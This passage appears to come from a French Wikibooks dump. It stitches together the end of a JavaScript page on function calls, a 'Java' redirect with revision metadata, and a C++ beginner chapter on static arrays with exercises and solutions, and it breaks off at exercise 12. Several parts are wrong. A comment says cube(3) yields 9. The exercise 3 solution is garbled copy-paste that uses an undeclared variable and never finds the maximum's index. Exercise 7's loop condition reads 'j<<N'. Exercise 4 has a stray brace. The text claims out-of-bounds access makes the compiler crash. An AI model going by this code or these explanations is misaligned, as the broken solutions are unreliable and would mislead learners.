nommer avec ses paramètres, et elle s'exécute : {{Cadre code|Fonction sans valeur de retour| <pre> <body onload="init()"> </pre> }} ===Avec valeur de retour=== Si l'on a prévu que la fonction renvoie une valeur, on peut recueillir celle-ci dans une variable, ou l'utiliser directement, ou l'ignorer si bon nous semble. Le résultat renvoyé par la fonction a toute les carcatéristiques d'une variable (type, valeur, utilisabilité avec des opérateurs... {{Cadre code|Avec valeur de retour| <pre> var le_cube_de_trois = cube(3); // Valeur de retour recueillie dans une variable alert("Cube de 3 : " + cube(3)); // Affiche "Cube de 3 : 9" (concaténation) cube(3); // Appel sourd de la fonction, on ignore le résultat </pre> }} ===Sans parametre=== Les parenthèses demeurent nécessaire à l'identification complète de la fonction. Elles restent vide. (Les espaces sont possibles, ainsi que les commentaires slash-étoile) {{Cadre code|Entre parenthèses| <pre> n = foo(); n = foo ( ); n = foo(/* J'occupe l'espace... */); </pre> }} ===Avec parametre=== Les paramètres envoyés à une fonction peuvent être sous forme de constante, de référence à une variable ou d'expression littérale. {{Cadre code|Types d'arguments| <pre> result = foo("Chaîne littérale", ma_var, true); // Littéral, variable et constante booléenne </pre> }} ===Que devienent les variables envoyées=== Les variables envoyées en paramètre d'une fonction subissent ou ne subissent pas de modifications selon leur nature: ====Primitives==== Si la variable est d'un type primitif comme string, bool et number, le mécanisme d'appel de la fonction envoie en fait des copies de la variable. Les modifications opérées par la fonction n'ont pas de répercussion sur la variable originale, sous réserve, bien entendu qu'il n'y ait pas de collision d'identification avec une variable globale.<br/> {{Cadre code|Variables préservées| <pre> function foo(str) { str = "c'est pas si important"; } s = "Trés important"; foo(s); alert(s); // Affiche "Trés important" : pas d'altération </pre> }} ====Instance d'un objet==== Il en est tout autrement avec les instances d'un objet transmis en paramètre. Dans ce cas, le mécanisme d'appel de la fonction envoie un pointeur sur l'objet, et la fonction a toute lattitude pour opérer des modifications sur les propriétés ou données de l'objet. {{Cadre code|Objet modifié| <pre> function modif_array(tab) { tab[0] = "c'est pas si important"; } t = Array(); t[0] = "Trés important"; modif_array(t); alert(t[0]); // Affiche "c'est pas si important" : modification du contenu de l'objet </pre> }} ==Fonction sans identificateur== [[Programmation JavaScript/Objets Prédéfinis|Objets Prédéfinis]] Java 6677 29867 2006-01-22T18:09:24Z Greudin 1 #REDIRECT[[Programmation Java]] #REDIRECT[[Programmation Java]] Programmation C++ (débutant)/Les tableaux statiques 6678 45782 2006-06-26T13:33:59Z Adniang75 1623 /* Exemple 5 : inverser l'ordre des éléments d'un tableau */ {{C++ débutant}} ==Le cours du chapitre 6 : les tableaux statiques== __TOC__ ==='''Les tableaux'''=== Une variable entière de type int ne peut contenir une seule valeur. Si on veut stocker en mémoire un ensemble de valeurs, il faut utiliser une structure de données appelé tableau. <br/> Dans ce chapitre, les tableaux seront statiques : leur taille sera fixée une fois pour toute. Il s'agit d'une structure de donnée absolument fondamentale pour stocker une liste d'éléments. ===Déclaration d'un tableau statique=== '''Syntaxe : '''type identificateur[taille]; <br/> Un tableau sera constitué d'un ensemble de cases. Chaque case comportera un élément dont le type sera type. Le nom du tableau sera identificateur. Le nombre total de cases du tableau sera taille. Cette variable sera obligatoirement une constante. ===Un exemple de tableau=== Déclaration d'un tableau : int a[10]; <br/> a est un tableau de 10 cases. Chaque case contient un entier (type int). La première case s’appelle a[0]. La deuxième case s’appelle a[1] et la dixième case a[9]. <br/> '''Remarque : '''la case a[10] n’existe pas ! Si vous essayez d'accéder à une case dont l'indice n'est pas valide, le compilateur "plantera". <br/> Sur chaque case, on peut effectuer les opérations habituelles : addition, affectation…etc… ===Exemple 1 : utilisation d'un tableau=== <pre> #include<iostream> using namespace std; int main() { int t[10],i; for(i=0;i<10;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>>t[i]; } for(i=0;i<10;i++)t[i]=t[i]+1; for(i=0;i<10;i++) cout<<"La valeur numero "<<i<<" est : "<<t[i]<<endl; return 0; } </pre> *'''Explications''' **Dans ce programme, nous allons tout d'abord saisir une à une le contenu des 10 cases d'un tableau t. **Ensuite nous allons effectuer un traitement simple sur ce tableau : nous allons incrémenter de 1 le contenu de chaque case. **Finalement, nous afficherons le contenu final de chaque case du tableau. **Dans ce programme, nous commençons par définir un tableau t de 10 cases de type entier. La première case de ce tableau sera t[0],… et la dernière t[9]. **La première boucle for permet de saisir une à une les cases du tableau : for(i=0;i<10;i++) { cout<<"Tapez la valeur numero "<<i<<" : "; cin>>t[i]; } remarque : la première valeur de i pour laquelle le corps du for sera effectué sera i=0, la dernière i=9 **for(i=0;i<10;i++)t[i]=t[i]+1; <br/>Dans cette boucle for, on augmente de 1 le contenu de chaque case du tableau. **for(i=0;i<10;i++) cout<<"La valeur numero "<<i<<" est : " <<t[i]<<endl;<br/>On affiche une à une le contenu des cases du tableau. *'''Exécution '''<br/> Tapez la valeur numero 0 : 5 <br/> Tapez la valeur numero 1 : 2 <br/> Tapez la valeur numero 2 : 50 <br/> Tapez la valeur numero 3 : 10 <br/> Tapez la valeur numero 4 : 20 <br/> Tapez la valeur numero 5 : 60 <br/> Tapez la valeur numero 6 : 80 <br/> Tapez la valeur numero 7 : 90 <br/> Tapez la valeur numero 8 : 10 <br/> Tapez la valeur numero 9 : 10 <br/> La valeur numero 0 est 6 <br/> La valeur numero 1 est 3 <br/> La valeur numero 2 est 51 <br/> La valeur numero 3 est 11 <br/> La valeur numero 4 est 21 <br/> La valeur numero 5 est 61 <br/> La valeur numero 6 est 81 <br/> La valeur numero 7 est 91 <br/> La valeur numero 8 est 11 <br/> La valeur numero 9 est 11 ===La taille d'un tableau est une CONSTANTE=== La taille d’un tel tableau est obligatoirement constante et connue à la compilation du programme. On parle de tableau statique. <br/> Interdiction de taper : int i; cin>>i; int t[i]; <br/> Lorsque nous aurons étudié les pointeurs et le mot clé new (dans quelque chapitre), nous pourrons créer des tableaux dont la taille est variable. Patience ! === Déclaration et initialisation d'un tableau=== On peut déclarer et initialiser un tableau de la manière suivante : int t[]={8,7,6,4,8}; <br/> Le tableau sera toujours un tableau de taille fixe, ici un tableau à 5 cases. Le tableau t n'est pas un tableau de taille variable. <br/> Cette syntaxe évite d'écrire : int t[5]; t[0]=8; t[1]=7; t[2]=6; t[3]=4; t[4]=8; <br/> === Exemple 2 : un tableau de double=== <pre> #include<iostream> using namespace std; int main() { double t[4]; int i; for(i=0;i<4;i++) t[i]=1.0/(i+1); for(i=0;i<4;i++) cout<<"La valeur numéro "<<i<<" est : " <<t[i]<<endl; return 0; } </pre> *'''Explications''' <br/> **On peut définir un tableau de n’importe quel type : ici un tableau de double. Dans ce programme, nous définissons un tableau t de 4 double. **Nous remplissons ensuite ce tableau en mettant 1/(i+1) dans la case numéro i. **Nous affichons ensuite une à une le contenu de chaque case. *'''Exécution'''<br/> La valeur numero 0 est 1 <br/> La valeur numero 1 est 0.5 <br/> La valeur numero 2 est 0.33333 <br/> La valeur numero 3 est 0.25 <br/> ===Indice d'un élément dans un tableau=== Le contenu d'un tableau peut être un int, un double … Ce type est définit lors de la déclaration du tableau et ne peut pas changer. L'indice d'un élément d'un tableau est lui obligatoirement de type entier. <br/> Par exemple, il est interdit d'écrire : <pre> double a; double b[10]; a=8; b[a]=123; </pre> ===Traitements sur les tableaux=== Nous allons maintenant étudier différents algorithmes standards qu'il faut savoir effectuer sur des tableaux : calcul de la moyenne, recherche du plus petit élément,… <br/> Ces traitements et recherche en tout genre sont des algorithmes indispensables que doit connaître tout programmeur. ===Calcul de la moyenne=== *On suppose que des éléments sont stockés dans un tableau contenant 4 cases : on veut calculer la moyenne des éléments de ce tableau. *'''Algorithme utilisé : '''<br/> On initialise une variable s à 0. Il faudra parcourir le tableau et ajouter à chaque étape l'élément courrant du tableau à s. On divisera ensuite s par le nombre d'éléments du tableau. Il faut maintenant formaliser cet algorithme. ===Exemple 3 : calcul de la moyenne=== <pre> #include<iostream> using namespace std; int main() { int t[4],i; double s=0; for(i=0;i<4;i++) { cout<<"Tapez la valeur numéro "<<i<<" : "; cin>>t[i]; } for(i=0;i<4;i++)s=s+t[i]; s=s/4; cout<<"La moyenne est : "<<s<<endl; return 0; } </pre> *'''Explications'''<br/> **Dans cet exemple, on déclare un tableau t de 4 cases (la première sera t[0], le dernière t[3]). **Grâce à une boucle for, on saisit une à une le contenu des 4 cases du tableau.<br/>for(i=0;i<4;i++) { cout<<"Tapez la valeur numéro "<<i<<" : "; cin>>t[i]; } **Pour calculer la somme des éléments d’un tableau, on initialise s à 0 et à chaque étape on ajoute t[i] à s grâce à la boucle for suivante : <br/> for(i=0;i<4;i++)s=s+t[i]; <br/> A la fin de cette boucle, la variable s contient la somme des éléments du tableau.<br/> Remarque 1 : un bug courant dans le calcul d'une somme est d'oublier d'initialiser s à 0 avant la boucle. <br/> Remarque 2 : un autre bug courant est de se tromper dans les bornes de la boucle for. *'''Exécution'''<br/> Tapez la valeur numero 0 : 5 <br/> Tapez la valeur numero 1 : 2<br/> Tapez la valeur numero 2 : 50<br/> Tapez la valeur numero 3 : 10<br/> La moyenne est 16.75 ===Recherche dans un tableau=== On veut écrire un programme de recherche du plus petit élément d'un tableau contenant 4 cases. <br/> '''Algorithme utilisé : '''on va stocker notre plus petit élément dans une variable ppt. On commence par initialiser ppt au premier élément du tableau (d'indice zéro). On parcourt alors tous les autres éléments du tableau en comparant l'élément courant à ppt et en mettant éventuellement à jour la valeur de ppt. Il faut maintenant formaliser cet algorithme. ===Exemple 4=== <pre> #include<iostream> using namespace std; int main() { int t[4],i,ppt; for(i=0;i<4;i++) { cout<<"Tapez la valeur numéro "<<i<<" : "; cin>>t[i]; } ppt=t[0]; for(i=1;i<4;i++) if(ppt>t[i])ppt=t[i]; cout<<"La plus petite valeur est "<<ppt<<endl; return 0; } </pre> *'''Explications'''<br/> **Pour calculer le plus petit élement d’un tableau, on initialise ppt à t[0]. **On parcourt ensuite le tableau de la case 1 à la dernière case d'indice 3 en comparant t[i] à ppt. Si t[i] est plus petit que le plus petit courant ppt alors on copie t[i] dans ppt (t[i] devient alors le nouveau plus petit courant). Dans le cas contraire, on ne modifie pas la valeur de ppt. **On affiche finalement la valeur de ppt en dehors de la boucle. *'''Exécution'''<br/> Tapez la valeur numero 0 : 9 <br/> Tapez la valeur numero 1 : 7 <br/> Tapez la valeur numero 2 : 11 <br/> Tapez la valeur numero 3 : 15 <br/> La plus petite valeur est 7 <br/> === Inverser l'ordre des éléments d'un tableau=== On veut inverser l'ordre des éléments d'un tableau contenant 6 cases : le dernier doit venir à la place du premier, l'avant-dernier doit aller à la seconde place et ainsi de suite. Algorithme utilisé : on parcourt le tableau du début au milieu du tableau et on échange le i-ième élément à partir du début avec le i-ième élément à partir de la fin. ===Exemple 5 : inverser l'ordre des éléments d'un tableau=== <pre> #include<iostream> using namespace std; int main() { int t[6],i,a; for(i=0;i<6;i++) { cout<<"Tapez la valeur numéro "<<i<<" : "; cin>>t[i];} for(i=0;i<3;i++) { a=t[i]; t[i]=t[5-i]; t[5-i]=a; } for(i=0;i<6;i++) cout<<"La valeur numéro "<<i<<" est "<<t[i]<<endl; return 0; } </pre> *'''Explications''' **Pour inverser le contenu du tableau t à 6 cases il y a 3 étapes : <br/> Étape 0 : on échange t[0] et t[5] <br/> Étape 1 : on échange t[1] et t[4] <br/> Étape 2 : on échange t[2] et t[3] <br/> *A l’étape i, on échange t[i] et t[5-i]. *Chaque étape sera numérotée de i=0 à i=2. *Attention de ne pas échanger 2 fois le contenu de chaque case en écrivant par erreur : <br/> for(i=0;i<6;i++){ a=t[i];t[i]=t[5-i];t[5-i]=a;} *'''Exécution''' <br/> Tapez la valeur numero 0 : '''9''' <br/> Tapez la valeur numero 1 : '''7''' <br/> Tapez la valeur numero 2 : '''11''' <br/> Tapez la valeur numero 3 : '''15''' <br/> Tapez la valeur numero 4 : '''16''' <br/> Tapez la valeur numero 5 : '''4''' <br/> La valeur numero 0 est 4 <br/> La valeur numero 1 est 16 <br/> La valeur numero 2 est 15 <br/> La valeur numero 3 est 11 <br/> La valeur numero 4 est 7 <br/> La valeur numero 5 est 9 <br/> ===Suppression et tassement=== On veut supprimer toutes les valeurs valant 9 dans un tableau de 6 cases en décalant tous les élément vers la gauche et en remplaçant ces éléments par des 0 placés à la fin du tableau. <br> Exemple : <br/> Valeur initiale du tableau : 9, 8, 9, 9, 9, 6 <br/> Valeur finale du tableau : 8, 6, 0, 0, 0, 0<br/> Ce problème paraît simple mais on trouve tellement de solutions fausses à ce problème que, désespérés, nous avons fini par le mettre dans le cours ! Par exemple, il est complètement inutile d'écrire 2 boucles imbriquées. ===Exemple 6 : suppression et tassement=== <pre> #include<iostream> using namespace std; int main() { int t[6],i,j=0; for(i=0;i<6;i++) { cout<<"Tapez la valeur numéro "<<i<<" : "; cin>>t[i]; } for(i=0;i<6;i++)if(t[i]!=9){t[j]=t[i];j++;} for(i=j;i<6;i++)t[i]=0; for(i=0;i<6;i++) cout<<"La valeur numero "<<i<<" est "<<t[i]<<endl; return 0; } </pre> *'''Explications'''<br/> **Dans cet exemple, on commence par saisir chacun des 6 éléments du tableau.<br/>for(i=0;i<6;i++) { cout<<"Tapez la valeur numéro "<<i<<" : "; cin>>t[i]; } **On va utiliser un indice j qui sera l'indice dans le tableau où doit être mis le prochain élément différent de 9. Cet élément est initialisé à 0. **for(i=0;i<6;i++)if(t[i]!=9){t[j]=t[i];j++;}<br/>On parcourt une seule fois le tableau et on place les valeurs differentes de 9 dans la case numéro j du tableau en incrémentant à chaque fois j de 1. **for(i=j;i<6;i++)t[i]=0; <br/> **On rajoute ensuite des 0 à partir de la case numéro j jusqu'à la fin du tableau. ===Les constantes=== Imaginons que dans un programme, on utilise un tableau de 100 cases et que l'on effectue des traitements en tout genre sur ce tableau. Il y aura des tonnes d'endroits dans le programme (au niveau des boucles notamment) où il y aura des valeurs valant 100 (ou 99). Si on décide de changer la taille de tableau et de la faire passer à 200 : il faudra faire des tonnes de modifications dans notre programme notamment au niveau des indices des boucles, avec à chaque fois un risque d'erreur non négligeable. ===Une solution : les constantes=== On va définir une constante N qui vaudra 100 et on va écrire tout notre programme, notamment tous nos indices de boucles en fonction de N. <br/> Si on veut changer la taille de tableau, il suffira de changer la valeur de N à un seul endroit dans le programme. === Deux syntaxes pour les constantes=== Il y a 2 syntaxes pour définir des constantes : l'une, la plus ancienne est d'utiliser la directive de compilation #define, l'autre est de définir une variable globale constante. On préférera utiliser cette deuxième solution mais les deux sont à connaître. <br/> '''Première syntaxe (version C) '''<br/> <nowiki>#define nom valeur </nowiki><br/> '''Deuxième syntaxe (version C++) '''<br/> const type identificaleur=valeur_constante; <br/> ===Exemple 7 : les constantes=== <pre> #include <iostream> using namespace std; #define N 10 int main() { int t[N], i; for(i=0;i<N;i++)t[i]=i*i; for(i=0;i<N;i++)cout<<t[i]<<endl; return 0; } </pre> *'''Explications''' **On définit une macro N valant toujours 10. **Avant la compilation, toutes les occurrences de N seront remplacées par sa valeur c'est-à-dire 10. **Tous nos indices de boucles seront calculés en fonction de N. **Dans ce programme, on déclare un tableau d'entiers à N cases (N est une constante valant 10). **On met ensuite dans la case i du tableau la valeur i*i et on affiche finalement toutes les cases du tableau. *'''Exécution''' 0 <br/> 1 <br/> 4 <br/> 9 <br/> 16 <br/> 25 <br/> 36 <br/> 49 <br/> 64 <br/> 81 <br/> ===Exemple 8 : les constantes=== <pre> #include <iostream> using namespace std; const int N=10; int main() { int t[N], i; for(i=0;i<N;i++)t[i]=i*i; for(i=0;i<N;i++)cout<<t[i]<<endl; return 0; } </pre> *'''Explications''' **Cet exemple est absolument identique au précédent à la différence que N est cette fois-ci une variable globale constante de type entier valant 10. On préférera utiliser cette solution que d'utiliser #define. **Dans un programme en C++, il est déconseillé d'utiliser des variables globales qui ne sont pas constantes : cela nuit en général gravement à la structuration de l'application. ===Tableau à 2 dimensions=== Si on veut déclarer un tableau de 5 lignes et colonnes, il faut déclarer : <br/> int a[5][4]; <br/> On accède alors à l'élément ligne i colonne j de la manière suivante : a[i][j]=99; <br/> Dans cet exemple, i doit être compris entre 0 et 4 (bornes incluses) et j entre 0 et 3 (bornes incluses). <br/> ===Exemple 9 : un tableau à 2 dimensions=== <pre> #include <iostream> using namespace std; const int N=2; const int M=3; int main() { int i,j; int t[N][M]; for(i=0;i<N;i++) for(j=0;j<M;j++) { cout<<"Tapez t["<<i<<"]["<<j<<"] :"; cin>>t[i][j]; } cout<<"Voici le tableau :"<<endl; for(i=0;i<N;i++) { for(j=0;j<M;j++)cout<<t[i][j]<<" "; cout<<endl; } return 0; } </pre> *'''Explications''' **Dans cet exemple, on déclare un tableau t d'entiers comportant 2 lignes et 3 colonnes. **Par 2 boucles imbriquées, on saisit un à un les 6 éléments du tableau. **On affiche ensuite le contenu du tableau. *'''Exécution''' Tapez t[0][0] : 3 <br/> Tapez t[0][1] : 4 <br/> Tapez t[0][2] : 5 <br/> Tapez t[1][0] : 6 <br/> Tapez t[1][1] : 8 <br/> Tapez t[1][2] : 4 <br/> Voici le tableau : <br/> 3 4 5 <br/> 6 8 4 <br/> ===Et maintenant …=== Nous avons étudié les types de base, les structures de contrôle et les tableaux, il faut maintenant effectuer des exercices pour s'entraîner à manipuler des tableaux. Ces manipulations pourront être l'occasion de mettre en oeuvre des algorithmes classiques de recherche, de suppression de tri …etc…Nous en avons étudié quelques-uns en cours et il en reste des tonnes à étudier. A vous de jouer ! ==Exercices== ===EXERCICE 1=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau. Le programme doit afficher le nombre d'entiers supérieurs ou égaux à 10. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple de tableaux. *Un algorithme simple sur un tableau : recherche du nombre d'éléments vérifiant une propriété. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[10],i,nb=0; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} for(i=0;i<N;i++)if(t[i]>=10)nb++; cout<<"Le nombre d'entiers supérieurs ou égaux à 10 est : " <<nb<<endl; return 0; } </pre> }} ===EXERCICE 2=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau ainsi qu'un entier V. Le programme doit rechercher si V se trouve dans le tableau et afficher "V se trouve dans le tableau" ou "V ne se trouve pas dans le tableau". {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : recherche d'un élément dans un tableau. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,V; bool trouve; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} cout<<"Tapez la valeur de V : ";cin>>V; trouve=false; i=0; while(!trouve && i<N) if(t[i]==V)trouve=true; else i++; if(trouve) cout<<"La valeur V se trouve dans le tableau"<<endl; else cout<<"La valeur V ne se trouve pas dans le tableau"<<endl; return 0; } </pre> }} ===EXERCICE 3=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau. Le programme doit ensuite afficher l'indice du plus grand élément. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : recherche de l'indice du plus grand élément. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=5; int main() { int t[N],i,indice; bool trouve; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} trouve=false; i=0;indice=0; for(i=1;i<N;i++) if(t[i]==V) trouve=true; i++; // if(trouve) cout<<"La valeur V se trouve dans le tableau"<<endl; else cout<<"La valeur V ne se trouve pas dans le tableau"<<endl; return 0; } </pre> }} ===EXERCICE 4=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau ainsi qu'un entier V. Le programme doit rechercher si V se trouve dans le tableau et doit supprimer la première occurence de V en décalant d'une case vers la gauche les éléments suivants et en rajoutant un 0 à la fin du tableau. Le programme doit ensuite afficher le tableau final. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : supression d'un éléments avec décalage des suivants. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,j,V; bool trouve; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} cout<<"Tapez la valeur de V : ";cin>>V; trouve=false; i=0; while(!trouve && i<N) if(t[i]==V)trouve=true; else i++; if(trouve) { for(j=i;j<N-1;j++)t[j]=t[j+1]; t[N-1]=0; } for(i=0;i<N;i++)cout<<t[i]<<endl; return 0; } } </pre> }} ===EXERCICE 5=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau ainsi qu'un entier V et un entier i compris entre 0 et 9. Le programme doit décaler d'une case vers la droite tous les élements à partir de l'indice i (en supprimant le dernier élément du tableau) et doit mettre la valeur V dans le tableau à l'indice i. Le programme doit ensuite afficher le tableau final. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : insertion dans en tableau avec décalage. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,indice,V; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} cout<<"Tapez un indice (de 0 à 9) : ";cin>>indice; cout<<"Tapez la valeur de V : ";cin>>V; if(indice>=0 && indice<=N-1) { for(i=N-1;i>indice;i--)t[i]=t[i-1]; t[indice]=V; } for(i=0;i<N;i++)cout<<t[i]<<endl; return 0; } </pre> }} ===EXERCICE 6=== Ecrire un programme qui demande à l’utilisateur de taper 10 entiers qui seront stockés dans un tableau. Le programme doit ensuite afficher soit "le tableau est croissant", soit "le tableau est décroissant", soit "le tableau est constant", soit "le tableau est quelconque". {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : vérifier si le tableau vérifie une propriété donnée. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],i; bool trouve=false; bool croissant=true,decroissant=true; for(i=0;i<N;i++) { cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i]; } for(i=0;i<N-1;i++) { if(a[i]>a[i+1])croissant=false; if(a[i]<a[i+1])decroissant=false; } if(croissant && decroissant) cout<<"le tableau est constant"<<endl; if(croissant && !decroissant) cout<<"le tableau est croissant"<<endl; if(!croissant && decroissant) cout<<"le tableau est decroissant"<<endl; if(!croissant && !decroissant) cout<<"le tableau est quelconque"<<endl; return 0; } </pre> }} ===EXERCICE 7=== Ecrire un programme qui demande à l’utilisateur de taper 10 entiers qui seront stockés dans un tableau. Le programme doit trier le tableau par ordre croissant et doit afficher le tableau.<br/> '''Algorithme suggéré : ''' <br/> On cherche l'indice du plus petit élément parmi les indices de 0 à 9 et on échange cet élément avec t[0]. <br/> On cherche l'indice du plus petit élément parmi les indices de 1 à 9 et on échange cet élément avec t[1]. <br/> On cherche l'indice du plus petit élément parmi les indices de 2 à 9 et on échange cet élément avec t[2]. <br/> ... On cherche l'indice du plus petit élément parmi les indices de 8 à 9 et on échange cet élément avec t[8]. <br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : tri d'un tableau. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],i,j,min,imin,tmp; for(i=0;i<N;i++) { cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i]; } for(i=0;i<N-1;i++) { imin=i;min=a[i]; for(j=i+1;j<<N;j++)if(a[j]<min){min=a[j];imin=j;} tmp=a[imin];a[imin]=a[i];a[i]=tmp; } cout<<"VOICI LE TABLEAU TRIE :"<<endl; for(i=0;i<N;i++)cout<<"a["<<i<<"]="<<a[i]<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire un programme qui demande à l’utilisateur de taper 10 entiers qui seront stockés dans un tableau. Le programme doit trier le tableau par ordre croissant et doit afficher le tableau.<br/> '''Algorithme suggéré (tri bulle) :''' <br/> On parcourt le tableau en comparant t[0] et t[1] et en échangeant ces éléments s'ils ne sont pas dans le bon ordre. <br/> on recommence le processus en comparant t[1] et t[2],... et ainsi de suite jusqu'à t[8] et t[9]. <br/> On compte lors de ce parcours le nombre d'échanges effectués. <br/> On fait autant de parcours que nécessaire jusqu'à ce que le nombre d'échanges soit nul : le tableau sera alors trié. <br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : tri d'un tableau. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],i,nb,tmp; for(i=0;i<N;i++) {cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i];} do { nb=0; for(i=0;i<N-1;i++) if(a[i]>a[i+1]) { tmp=a[i];a[i]=a[i+1];a[i+1]=tmp; nb++; } }while(nb!=0); cout<<"VOICI LE TABLEAU TRIE :"<<endl; for(i=0;i<N;i++)cout<<"a["<<i<<"]="<<a[i]<<endl; return 0; } </pre> }} ===EXERCICE 9=== Ecrire un programme qui saisit 2 tableaux de 10 entiers a et b. c est un tableau de 20 entiers. Le programme doit mettre dans c la fusion des tableaux a et b. On copiera dans les 10 premières cases de c le tableau a, dans les dix dernières le tableau b. Le programme affiche ensuite le tableau c. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : fusion de 2 tableaux. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],b[N],c[2*N],i; cout<<"SAISIE DU TABLEAU a"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>a[i];} cout<<"SAISIE DU TABLEAU b"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>b[i];} for(i=0;i<2*N;i++)if(i<N)c[i]=a[i];else c[i]=b[i-N]; cout<<"VOICI LE TABLEAU c"<<endl; for(i=0;i<2*N;i++)cout<<c[i]<<" "; cout<<endl; return 0; } </pre> }} ===EXERCICE 10=== Ecrire un programme qui saisit 2 tableaux de 10 entiers a et b qui doivent être triés dans l'ordre croissant. Le programme devra tout d'abord vérifier que les deux tableaux sont triés. Le tableau c est un tableau de 20 entiers. Le programme doit mettre dans c la fusion des tableaux a et b. Le tableau c devra contenir les éléments de a et ceux de b et devra être trié. Le programme affiche ensuite le tableau c. {{Boîte déroulante|titre=Solution|contenu = <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],b[N],c[2*N],i,trie,indicea,indiceb; cout<<"SAISIE DU TABLEAU a"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>a[i];} cout<<"SAISIE DU TABLEAU b"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>b[i];} trie=true; i=0; while(trie && i<N-1)if(a[i]>a[i+1])trie=false; else i++; if(!trie)cout<<"Le tableau a n'est pas trié"<<endl; else { trie=true; i=0; while(trie && i<N-1)if(b[i]>b[i+1])trie=false; else i++; if(!trie)cout<<"Le tableau b n'est pas trié"<<endl; else { indicea=0;indiceb=0; for(i=0;i<2*N;i++) { if(indicea==N){c[i]=b[indiceb];indiceb++;} else if(indiceb==N){c[i]=a[indicea];indicea++;} else if(a[indicea]<b[indiceb]){c[i]=a[indicea];indicea++;} else {c[i]=b[indiceb];indiceb++;} } } } cout<<"VOICI LE TABLEAU c"<<endl; for(i=0;i<2*N;i++)cout<<c[i]<<" "; cout<<endl; return 0; } </pre> }} ===EXERCICE 11 === Ecrire un programme qui gère une liste d'entiers grâce au menu suivant : <br/> 1. Ajouter un entier<br/> 2. Afficher la liste des entiers <br/> 3. Supprimer dernier entier de la liste. <br/> 4. Afficher la dernière note tapée<br/> 5. Quitter<br/> Il y aura au maximum 10 entiers. Lorsqu'on rajoute un entier, il sera rajouté à la fin de la liste.<br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Festion d'une liste simple grâce à un tableau statique. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],nb=0,choix,e,i; bool fini=false; while(fini==false) { cout<<"1. Ajouter un entier"<<endl; cout<<"2. Afficher la liste des entier"<<endl; cout<<"3. Supprimer le dernièr entier de la liste"<<endl; cout<<"4. Afficher le dernier entier de la liste"<<endl; cout<<"5. Quitter"<<endl; cout<<"Votre choix : ";cin>>choix; switch(choix) { case 1 : cout<<"Tapez un entier : ";cin>>e; if(nb<N){t[nb]=e; nb++; cout<<"ENTIER AJOUTE"<<endl;} else cout<<"IMPOSSIBLE LE TABLEAU EST PLEIN"<<endl; break; case 2 : if(nb==0)cout<<"LA LISTE EST VIDE"<<endl; else { cout<<"VOICI LA LISTE"<<endl; for(i=0;i<nb;i++)cout<<t[i]<<" "; cout<<endl; } break; case 3 : if(nb>0){nb--; cout<<"ENTIER SUPPRIME"<<endl;} else cout<<"LA LISTE EST VIDE"<<endl; break; case 4 : if(nb>0)cout<<"lLE DERNIER ENTIER EST "<<t[nb-1]<<endl; else cout<<"LA LISTE EST VIDE"<<endl; break; case 5 : fini=true; break; } } return 0; } </pre> }} ===EXERCICE 12 === Ecrire un programme qui gère une liste d'entiers grâce au menu suivant : <br/> 1. Ajouter un entier<br/> 2. Afficher la liste des entiers<br/> 3. Supprimer le premier entier ayant une valeur donnée.<br/> 4. Supprimer tous les entiers ayant une valeur donnée<br/> 5. 